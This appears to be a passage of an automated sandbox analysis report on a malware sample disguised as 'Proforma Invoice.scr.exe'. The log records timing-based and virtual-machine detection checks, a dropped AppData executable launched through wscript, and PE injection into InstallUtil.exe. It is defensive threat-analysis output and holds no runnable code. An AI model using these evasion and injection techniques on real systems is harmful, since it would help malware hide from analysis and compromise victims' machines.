Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -594718s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 612	Thread sleep time: -594500s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98844	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98628	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98476	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98373	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97922	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97774	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97621	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97486	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97374	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97262	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97156	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 97047	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96938	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96828	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96719	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96610	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96485	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96360	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96235	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 96110	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95985	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95860	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95735	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95610	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95485	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95360	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95235	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 95110	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94985	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94860	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94672	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94542	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94254	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 94121	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 93967	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 93858	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 93750	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 93641	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Thread delayed: delay time: 93516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599318	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598816	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598685	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596824	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596317	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596180	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596030	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595898	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594616	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594498	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593953	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99561	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99451	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 99013	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98894	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98424	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98273	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98156	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 98046	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97937	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97827	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97718	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97499	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97390	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97281	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97171	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 97062	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96952	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96843	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96734	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96624	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96515	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96296	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96187	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 96070	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 95937	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 95812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 95702	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 95588	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Thread delayed: delay time: 95470	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: EncoderFallback.exe, 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Proforma Invoice.scr.exe, 00000000.00000002.2453582503.0000000000981000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllF
Source: EncoderFallback.exe, 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: wscript.exe, 00000005.00000002.2588650747.000002E20E564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\L5
Source: EncoderFallback.exe, 00000006.00000002.2750285335.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.3538666880.0000000005CB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: InstallUtil.exe, 00000003.00000002.2761171022.0000000004F33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 442000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 637008	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\EncoderFallback.exe "C:\Users\user\AppData\Roaming\EncoderFallback.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EncoderFallback.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice.scr.exe	Queries volume information: C:\Users\user\Desktop\Proforma Invoice.scr.exe VolumeInformation	Jump to behavior
